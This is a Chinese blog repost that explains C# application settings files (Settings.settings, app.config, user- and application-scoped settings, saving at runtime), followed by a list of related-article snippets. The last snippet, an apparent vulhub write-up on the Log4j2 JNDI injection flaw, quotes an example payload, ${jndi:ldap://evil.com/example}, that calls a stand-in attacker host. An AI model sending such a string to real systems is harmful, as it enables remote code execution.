c#程序应用程序设置文件Settings.settings详解

https://blog.csdn.net/wqq1027/article/details/84873014

应用程序设置

应用程序设置使您能够动态存储和检索应用程序的属性设置和其他信息。 还使您能够维护客户端计算机上的自定义应用程序和用户首选项。 通常这些数据(如连接字符串)对于运行应用程序是非常重要的,并且您不想将这些数据直接包含在应用程序代码中。 也许想要存储两种不同的数据库连接字符串,并在运行时基于计算机的位置检索其中一个。 或者,想要存储用户的颜色首选项,然后在下一次运行应用程序时检索它们。

请注意,应用程序设置是 Visual Studio 的一项功能,该功能替换了早期版本中的动态属性功能(有关动态属性的信息,请参见使用动态属性配置应用程序)。

每个应用程序设置必须具有唯一的名称。 该名称可以是字母、数字或下划线的任意组合,但名称不能以数字开头且不能包含空格。 可通过 Name 属性来更改名称。

应用程序设置可以存储为可 XML 序列化或包含实现 ToString/FromString 的 TypeConverter 的任何数据类型。 最常见的类型有 String、Integer 和 Boolean,但也可以将值存储为 Color、Object 或连接字符串。

应用程序设置还包含值。 这些值通过**“值”**属性来设置,而且必须与设置的数据类型匹配。

此外,在设计时可将应用程序设置绑定到窗体或控件的属性。 有关更多信息,请参见 如何:添加或移除应用程序设置。

有两类基于范围的应用程序设置:

  • 应用程序范围的设置可以用于诸如 Web 服务的 URL 或数据库连接字符串这类的信息。 这些值是与应用程序关联的。 因此,用户无法在运行时更改这些值。

  • 用户范围的设置可以用于诸如保持窗体的最后位置或字体首选项这类的信息。 用户可以在运行时更改这些值。

可以使用**“范围”**属性更改设置类型。

项目系统将应用程序设置存储在两个 XML 文件中:一个是 app.config 文件,它是创建第一个应用程序设置时在设计时创建的;另一个是 user.config 文件,它是当运行应用程序的用户更改任何用户设置的值时在运行时创建的。 请注意,用户设置中的更改不会写到磁盘,除非应用程序专门调用某一方法这样做。

在设计时创建应用程序设置

在设计时,可用两种方法来创建应用程序设置:通过使用**“项目设计器”“设置”页,或通过使用窗体或控件的“属性”**窗口,都可以让您将设置直接绑定到属性。 有关更多信息,请参见 如何:添加或移除应用程序设置。

当您创建应用程序范围的设置(例如,数据库连接字符串或对服务器资源的引用)时,Visual Studio 将它与 <applicationSettings> 标记一起保存在 app.config 文件中。 (连接字符串保存在 <connectionStrings> 标记下。)

当您创建用户范围的设置(例如,默认字体、主页或窗口大小)时,Visual Studio 将它与 <userSettings> 标记一起保存在 app.config 中。

当您将连接字符串存储在 app.config 中时,应该采取预防措施以避免泄露连接字符串中的敏感信息(如密码或服务器路径)。

如果从外部源获取连接字符串信息(如用户提供用户 ID 和密码),则必须小心以确保用于构造连接字符串的值不会包含可以更改连接行为的附加连接字符串参数。

可考虑使用“受保护的配置”功能以加密配置文件中的敏感信息。 有关更多信息,请参见保护连接信息 (ADO.NET)。

提示

由于没有类库的配置文件模型,应用程序设置不适用于类库项目。 Visual Studio Tools for Office DLL 项目是一个例外,它可以有一个配置文件。

使用自定义的设置文件

可以将自定义的设置文件添加到项目中,以方便进行设置组的管理。 单个文件中包含的设置会作为一个单元进行加载和保存。 因此,如果能够将常用组和不常用组的设置分开存储在单独的文件中,则可以节省加载和保存设置的时间。

例如,可以将诸如 SpecialSettings.settings 的文件添加到项目中。 虽然 SpecialSettings 类未在 My 命名空间中公开,但可以使用**“查看代码”**读取包含 Partial Class SpecialSettings 的自定义设置文件。

“设置设计器”首先搜索项目系统创建的 Settings.settings 文件;此文件是“项目设计器”在**“设置”**选项卡中显示的默认文件。 Settings.settings 位于 Visual Basic 项目的 My Project 文件夹和 Visual C# 项目的 Properties 文件夹中。 然后,“项目设计器”在项目的根文件夹中搜索其他设置文件。 因此,您应当将自定义的设置文件放在此根文件夹中。 如果将 .settings 文件添加到项目中的其他地方,则“项目设计器”将无法找到此文件。

在运行时访问或更改 Visual Basic 应用程序的设置

在 Visual Basic 项目中,您可以使用 My.Settings 对象在运行时访问应用程序设置。 在**“设置”页上,单击“查看代码”**按钮以查看 Settings.vb 文件。 (有关更多信息,请参见如何:访问设置事件。)Settings.vb 定义 Settings 类,此类使您能够处理设置类上的以下事件:SettingChanging、PropertyChanged、SettingsLoaded 和 SettingsSaving。 请注意,Settings.vb 中的 Settings 类是分部类,其中仅显示用户所有的代码,而不显示整个生成的类。 有关使用 My.Settings 对象访问应用程序设置的更多信息,请参见访问应用程序的设置 (Visual Basic)。

在运行时用户更改的任何用户范围的设置的值(例如窗体的位置)都存储在 user.config 文件中。 请注意,默认值仍保存在 app.config 中。

如果在运行期间(例如在测试应用程序过程中)已更改任何用户范围的设置,并要将这些设置重置为其默认值,请单击**“同步”**按钮。 有关此控件的信息,请参见“项目设计器” ->“设置”页。

强烈建议使用 My.Settings 对象和默认 .settings 文件来访问设置。 原因是可以使用“设置设计器”为设置分配属性,此外,还将在应用程序关闭之前自动保存用户设置。 但是,Visual Basic 应用程序可以直接访问设置。 在这种情况下,您必须访问 MySettings 类并使用项目根目录中的自定义 .settings 文件。 与处理 C# 应用程序时一样,在结束应用程序之前还必须保存用户设置;下一节会对此进行说明。

在运行时访问或更改 Visual C# 应用程序的设置

在 Visual Basic 以外的语言(如 Visual C#)中,必须直接访问 Settings 类,如下面的 Visual C# 示例中所示。

C#

Properties.Settings.Default.FirstUserSetting = "abc";

还必须显式调用此包装类的 Save 方法,才能持久地保存用户设置。 此操作通常在主窗体的 Closing 事件处理程序中完成。 下面的 Visual C# 示例演示对 Save 方法的调用。

C#

Properties.Settings.Default.Save();

有关如何创建新应用程序设置并将它们绑定到窗体属性的具体示例,请参见如何:使用设计器创建应用程序设置。 有关通过 Settings 类访问应用程序设置的更多常规信息,请参见应用程序设置概述。

如何:添加或移除应用程序设置

通过应用程序设置可以动态存储和检索应用程序的属性设置和其他信息。 有两种基于范围的应用程序设置类型:用户范围的设置和应用程序范围的设置。

在设计时,您可以使用**“项目设计器”“设置”窗格(仅限于 Visual Basic 和 Visual C#)或使用窗体或控件的“属性”**窗口(允许您直接将设置绑定到属性),添加应用程序设置。

在“项目设计器”中添加应用程序设置
  1. 在**“解决方案资源管理器”中选择一个项目;在“项目”菜单上,单击“属性”**。

  2. 选择**“设置”**窗格。

  3. 单击**“设置”**网格中的空白行。

  4. 在**“名称”**列中输入设置的名称。 名称不能包含空格。

  5. 从**“类型”**下拉列表中选择设置的数据类型。

  6. 从**“范围”下拉列表中选择设置的作用范围。 设置的作用范围可以是“应用程序”,也可以是“用户”**。

  7. 在**“值”**列中输入设置的默认值。 该值必须与所选的数据类型匹配。

在“属性”窗口中添加应用程序设置
  1. 在窗体设计器中选择一个窗体或控件;在**“视图”菜单上,单击“属性窗口”**。

  2. 在**“属性”窗口中,展开“(应用程序设置)”属性(位于“数据”**节点下方)。

  3. 选择**“(属性绑定)”属性,然后单击省略号按钮(“...”),打开“应用程序设置”**对话框。

  4. 在**“应用程序设置”**对话框中,选择要添加应用程序设置的属性。

  5. 在属性的下拉列表中,单击**“(新建...)”以打开“新建应用程序设置”**对话框。

  6. 在**“新建应用程序设置”对话框中,选择“名称”**属性,输入设置的名称。 名称不能包含空格。

  7. 选择 DefaultValue 属性,输入设置的默认值。

  8. 从**“范围”下拉列表中选择设置的作用范围。 设置的作用范围可以是“应用程序”,也可以是“用户”**。

  9. 若要将新设置绑定到属性,请从下拉列表中选择该设置,再单击**“确定”**。

    该属性绑定将添加到**“属性”窗口中,并且新的设置将添加到“项目设计器”中。 注意,一旦创建了设置,就必须使用“项目设计器”**对它进行更改。

移除应用程序设置
  1. 在**“解决方案资源管理器”中选择一个项目;在“项目”菜单上,单击“属性”**。

  2. 选择**“设置”**窗格。

  3. 单击**“设置”**网格中希望移除的设置所对应的行。

  4. 按**“删除”键,或右击并选择“移除设置”**。

    该设置将从**“项目设计器”**中移除。

     提示

    您需要手动从 app.config 中移除设置,因为“项目设计器”不会在您的代码中或在其自己的代码中移除对应用程序设置的任何引用。

如何:访问设置事件

使用设置事件可以编写用于响应对应用程序范围设置或用户范围设置的更改的代码。 设置事件包括:

  • SettingChanging 事件在设置值更改前引发。

  • PropertyChanged 事件在设置值更改后引发。

  • SettingsLoaded 事件在设置值加载后引发。

  • SettingsSaving 事件在设置值保存前引发。

有关如何使用这些事件编程的信息,请参见 访问应用程序的设置 (Visual Basic)。

设置事件可以从**“项目设计器”“设置”**窗格中进行访问。

访问设置事件
  1. 在**“解决方案资源管理器”中选择一个项目,然后在“项目”菜单上单击“属性”**。

  2. 选择**“设置”**窗格。

  3. 单击**“查看代码”**按钮,在代码编辑器中打开 Settings.vb 或 Settings.cs 文件。 此文件定义一些方法,用于处理在更改、加载或保存用户设置时引发的事件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/691280.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RichAF 中文版(下)

原文&#xff1a;Rich AF : The Winning Money Mindset That Will Change Your Life 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 五、我出生时不是富人&#xff0c;但我的孩子会是 投资部分 当涉及投资时&#xff0c;我有三个关于致富的真相要分享&#xff1a; …

mysql同类型的多行变成一行value1和value2不同的列

关键字 row_number() over (partition by) 例如&#xff0c;下面的数据&#xff0c; 这是按照name分组后&#xff0c;展示property值。 我们想得到这样的值; 第一步&#xff1a;将每一组的property标上序号 select name,property,row_number() over (partition by name order…

CSS实现两栏布局,左侧固定宽高,右侧超高滚动加载

要实现左侧子元素高度固定&#xff0c;右侧子元素超高滚动加载&#xff0c;并且左侧子元素与父级元素高度一致且不跟随滚动&#xff0c;可以使用CSS的flex布局和overflow属性来实现。 首先&#xff0c;将父级元素设置为flex布局&#xff0c;并将其分为左右两个子元素。左侧子元…

hpp文件:C++开发中的利器

1 什么是hpp文件&#xff1f; hpp文件是C程序中一种特殊头文件&#xff0c;它可以包含类的声明和实现。与传统的h文件相比&#xff0c;hpp文件具有以下特点&#xff1a; 将类的声明和实现放在同一个文件里&#xff0c;减少了代码量&#xff0c;提高了代码的可读性。无需再将c…

Django学习笔记-创建第一个django项目

1.创建一个虚拟环境的python项目 2.点击解释器设置 3.安装django包 4.终端选择Command Prompt 5.创建django项目运行django-admin startproject demo01(自命名) 6.修改连接数据库为mysql 7.修改语言(中国汉语)和时区(亚洲上海)USE_TZ改为False,否则时区不生效 8.修改TEMPLA…

并发List、Set、ConcurrentHashMap底层原理

并发List、Set、ConcurrentHashMap底层原理 ArrayList: List特点&#xff1a;元素有放入顺序&#xff0c;元素可重复 存储结构&#xff1a;底层采用数组来实现 public class ArrayList<E> extends AbstractList<E>implements List<E>, RandomAccess, Clon…

基于Java的车辆租赁管理平台/租车系统

功能介绍 平台采用B/S结构&#xff0c;后端采用主流的Springboot框架进行开发&#xff0c;前端采用主流的Vue.js进行开发。 整个平台包括前台和后台两个部分。 前台功能包括&#xff1a;首页、车辆详情、车辆预订、用户中心模块。后台功能包括&#xff1a;车辆管理、分类管理…

从入门到精通:AI绘画与修图实战指南

&#x1f482; 个人网站:【 海拥】【神级代码资源网站】【办公神器】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流的小伙伴&#xff0c;请点击【全栈技术交流群】 在这篇文章中&#xff0c;我们将深入探讨如何利…

android通过广播打印ram使用信息

在内存非常吃紧的情况下&#xff0c;android设备会开始kill部分非系统进程甚至系统进程来保证基本的系统运行。在这种情况下如何获取设备过去某段时间的ram使用情况至关重要。 通过开发者模式中的“内存”可以完美得知设备内存使用信息。 我们可以通过此途径&#xff0c;设计一…

【鸿蒙系统学习笔记】ArkTS开发语言

一、背景 ArkTS是HarmonyOS优选的主力应用开发语言。ArkTS围绕应用开发在TypeScript&#xff08;简称TS&#xff09;生态基础上做了进一步扩展&#xff0c;继承了TS的所有特性&#xff0c;是TS的超集。 二、基本语法 2.1、基本语法介绍 ArkTS的基本组成&#xff0c;资料来自…

地下管线管网三维建模工具MagicPipe3D V3.4.2发布

经纬管网建模系统MagicPipe3D&#xff0c;本地离线参数化构建地下管网三维模型&#xff08;包括管道、接头、附属设施等&#xff09;&#xff0c;输出标准3DTiles服务、Obj模型等格式&#xff0c;支持Cesium、Unreal、Unity、Osg等引擎加载进行三维可视化、语义查询、专题分析&…

Python假数据生成库之mimesis使用详解

概要 在软件开发和测试过程中,经常需要使用假数据来模拟真实环境,进行测试、演示或者填充数据库。Python Mimesis 库就是一个强大的工具,可以帮助快速、方便地生成各种类型的假数据。本文将深入探讨 Mimesis 库的功能、用法和示例代码,以帮助大家更好地了解如何利用这个库…

SQL查询转化为 Elasticsearch 查询

使用SQL 转化为查询 Elasticsearch 支持 sql 语句转化为 elasticsearch 的 查询语句 第一步&#xff1a; 打开在线转换工具的网页&#xff0c;进入工具页面 第二步&#xff1a;在指定的输入框中输入需要转换的 sql 语句。 您学会了这么简单的办法

虚拟机--pc端和macOS端互通

windows开启虚拟化 要在Windows系统中开启虚拟化&#xff0c;您可以按照以下步骤操作&#xff1a; 准备工作&#xff1a; 确保您的计算机CPU支持虚拟化技术。在BIOS中开启相应的虚拟化支持。 开启虚拟化&#xff1a; 打开控制面板&#xff0c;点击程序或功能项&am…

VSCode使用Remote-SSH连接服务器时报错:启动服务器失败问题

VSCode使用Remote-SSH连接服务器时报错&#xff1a;启动服务器失败问题 问题描述解决方法引用 问题描述 第一天上班&#xff0c;回来发现又不能使用VScode连不上服务器了&#xff0c;在「输出」栏出现了一直报 Waiting for server log… 的情况&#xff01;本来以为是普通的连接…

Java多线程系列——同步关键字

目录 一、线程安全和数据不一致性 二、synchronized关键字的作用 三、synchronized工作原理 四、锁的级别 五、synchronized的优点与缺点 六、实战应用 七、总结 在Java中&#xff0c;synchronized 关键字是并发编程中的一个基本构建块&#xff0c;用于控制多个线程对共…

Spring框架-AOP(面向切面编程)

AOP&#xff0c;面向切面编程&#xff0c;指在不改变源码的情况下&#xff0c;增加方法的功能。 AOP底层使用动态代理&#xff0c;有两种情况的动态代理&#xff1a; 有接口情况下的动态代理&#xff0c;使用的是JDK动态代理&#xff0c;通过创建接口实现类的代理对象来增强类…

NVIDIA Chat with RTX

NVIDIA在2月13日发布了Chat With RTX&#xff0c;这是一款类似于ChatGPT的免费个性化 AI 聊天机器人&#xff0c;可以在配备 Nvidia RTX 显卡的 PC 上本地运行。它使用Mistral或Llama开放权重LLM&#xff0c;可以搜索本地文件并回答有关它们的问题。本文中我们一起来了解一下Ch…

国际语言代码 Language Code 对照表速查

前言 语言代码是英国教育社会学家伯恩斯坦的术语。指在一定的语言集团中&#xff0c;特定的人群在特定的社会环境下使用的特定的言语。分为限定代码&#xff08;restricted code&#xff09;和精制代码&#xff08;elaborated code&#xff09;。语言代码是由字母或数字组成的…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…